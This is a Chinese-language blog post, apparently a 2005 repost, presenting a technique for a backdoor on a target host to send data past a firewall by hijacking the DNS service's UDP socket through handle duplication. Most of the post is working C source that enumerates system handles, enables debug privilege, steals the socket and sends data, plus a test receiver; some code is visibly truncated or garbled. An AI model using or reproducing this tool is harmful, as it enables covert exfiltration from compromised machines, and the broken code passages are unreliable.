一种新的穿透防火墙的数据传输技术
使用该技术背景： 在目标主机安放后门，需要将数据传输出去，同时数据很重要，动作不能太大。其他情况“严重”不推荐使用该技术(后面我会讲到为什么)。 针对目前防火墙的一些情况，如果自己的进程开一个端口(甚至是新建套接字)肯定被拦。相反，有一点我们也很清楚：被防火墙验证的进程在传送数据时永远不会被拦。所以，我的思路很简单：将其他进程中允许数据传输的套接字句柄拿为已用。 过程如下： 1. 找出目标进程 2. 找出SOCKET句柄 2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用 3. 用转换后的SOCKET进行数据传输 上面的过程写的很简单，但是实际实现起来还是存在一些问题(后面再做讨论)，而且从上面的实现方法也可以看出一些不爽的地方：在目标进程的SOCKET不 能是TCP，因为TCP的句柄已经跟外面建立了连接，所以只能是UDP。针对不同系统不同进程我们很难定位一个稳定的进程SOCKET。 看到上面这些，你有点丧气了对不对，哈哈。 再想一想，其实我们有一条真正的通罗马的“黄金大道”。 我们知道只要一台计算机连上了网络，那么有一种数据传输是肯定不会被拦截的，那就是DNS。你能想像域名解析数据都被拦了造成的结果吗？ 嘿嘿， 既然这个是永远不会被拦的， 而且它又是UDP传输， 我们就拿他开刀。 下面是通过直接控制DNS进程(其实也就是svchost.exe，不过对应用户名是NETWORK SERVICE)进行数据传输的例子。编程中出现了很多问题，比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE)，在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请细看注释部分。 CODE: /*++ Made By ZwelL [url=mailto:zwell@sohu.com]zwell@sohu.com[/url] 2005.4.12 --*/ #include #include #include #pragma comment(lib, "ws2_32") #pragma comment(lib, "wtsapi32") #define NT_SUCCESS(status) ((NTSTATUS)(status)>=0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef LONG NTSTATUS; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG); ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char NTDLL_DLL[] = "ntdll.dll"; HMODULE ntdll_dll = NULL; if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ) { printf( "GetModuleHandle() failed"); return( FALSE ); } if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress ( ntdll_dll, "ZwQuerySystemInformation" ) ) ) { goto LocateNtdllEntry_exit; } ret = TRUE; LocateNtdllEntry_exit: if ( FALSE == ret ) { printf( "GetProcAddress() failed"); } ntdll_dll = NULL; return( ret ); } /*++ This routine is used to get a process's username from it's SID --*/ BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName) { // sanity checks and default value if (pUserSid == NULL) return false; strcpy(szUserName, "?"); SID_NAME_USE snu; TCHAR szUser[_MAX_PATH]; DWORD chUser = _MAX_PATH; PDWORD pcchUser = &chUser; TCHAR szDomain[_MAX_PATH]; DWORD chDomain = _MAX_PATH; PDWORD pcchDomain = &chDomain; // Retrieve user name and domain name based on user's SID. if ( ::LookupAccountSid( NULL, pUserSid, szUser, pcchUser, szDomain, pcchDomain, &snu ) ) { wsprintf(szUserName, "%s", szUser); } else { return false; } return true; } /*++ This routine is used to get the DNS process's Id Here, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information, even if we has the privilege in catching the SYSTEM's. --*/ DWORD GetDNSProcessId() { PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; char szUserName[255]; DWORD Id = -1; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)) { // dump each process description for (DWORD CurrentProcess = 0; CurrentProcess User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); if(hProcess) CloseHandle(hProcess); if(hAccessToken) CloseHandle(hAccessToken); return true; }*/ /*++ Now, it is the most important stuff... ^_^ --*/ SOCKET GetSocketFromId (DWORD PID) { NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; HANDLE sock = NULL; DWORD n; buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, n, NULL); } else { printf("ZwQuerySystemInformation wrong\n"); return NULL; } NumOfHandle = *(ULONG*)buf; h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4); for(i = 0; i0) // if port > 0, then we can use it break; } } catch(...) { continue; } } if ( buf != NULL ) { free( buf ); } return (SOCKET)sock; } /*++ This is not required... --*/ BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv; TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; LookupPrivilegeValue ( 0, name, &priv.Privileges[0].Luid ); priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken ); AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 ); rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv; } void main() { WSADATA wsaData; char testbuf[255]; SOCKET sock; sockaddr_in RecvAddr; int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != NO_ERROR) printf("Error at WSAStartup()\n"); if(!LocateNtdllEntry()) return; if(!EnablePr ivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrong\n"); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrong\n"); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%d\n", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^\n"); } getchar(); //WSACleanup(); return; } [Copy to clipboard] 很早以前我就有这个想法了，只是一直没有去实现。在上面的代码中，因为要找出DNS进程句柄，而svchost.exe又有多个，所以以用户名来进行判断，本来是用OpenProcessToken，但是怎么也不行。所以换个方法，用到了wtsapi32库函数。 再用下面的代码测试： CODE: /*++ UdpReceiver --*/ #include #include "winsock2.h" #pragma comment(lib, "ws2_32") void main() { WSADATA wsaData; SOCKET RecvSocket; sockaddr_in RecvAddr; int Port = 5555; char RecvBuf[1024]; int BufLen = 1024; sockaddr_in SenderAddr; int SenderAddrSize = sizeof(SenderAddr); //----------------------------------------------- // Initialize Winsock WSAStartup(MAKEWORD(2,2), &wsaData); //----------------------------------------------- // Create a receiver socket to receive datagrams RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); //----------------------------------------------- // Bind the socket to any address and the specified port. RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(Port); RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY); bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr)); //----------------------------------------------- // Call the recvfrom function to receive datagrams // on the bound socket. printf("Receiving datagrams...\n"); while(1) { recvfrom(RecvSocket, RecvBuf, BufLen, 0, (SOCKADDR *)&SenderAddr, &SenderAddrSize); printf("%s\n", RecvBuf); } //----------------------------------------------- // Close the socket when finished receiving datagrams printf("Finished receiving. Closing socket.\n"); closesocket(RecvSocket); //----------------------------------------------- // Clean up and exit. printf("Exiting.\n"); WSACleanup(); return; } [Copy to clipboard] 测试步骤： 1. 在一台机器上执行UdpReceiver。 2. 在安装防火墙的机器上执行第一个程序。本文出自 51CTO.COM技术博客 |
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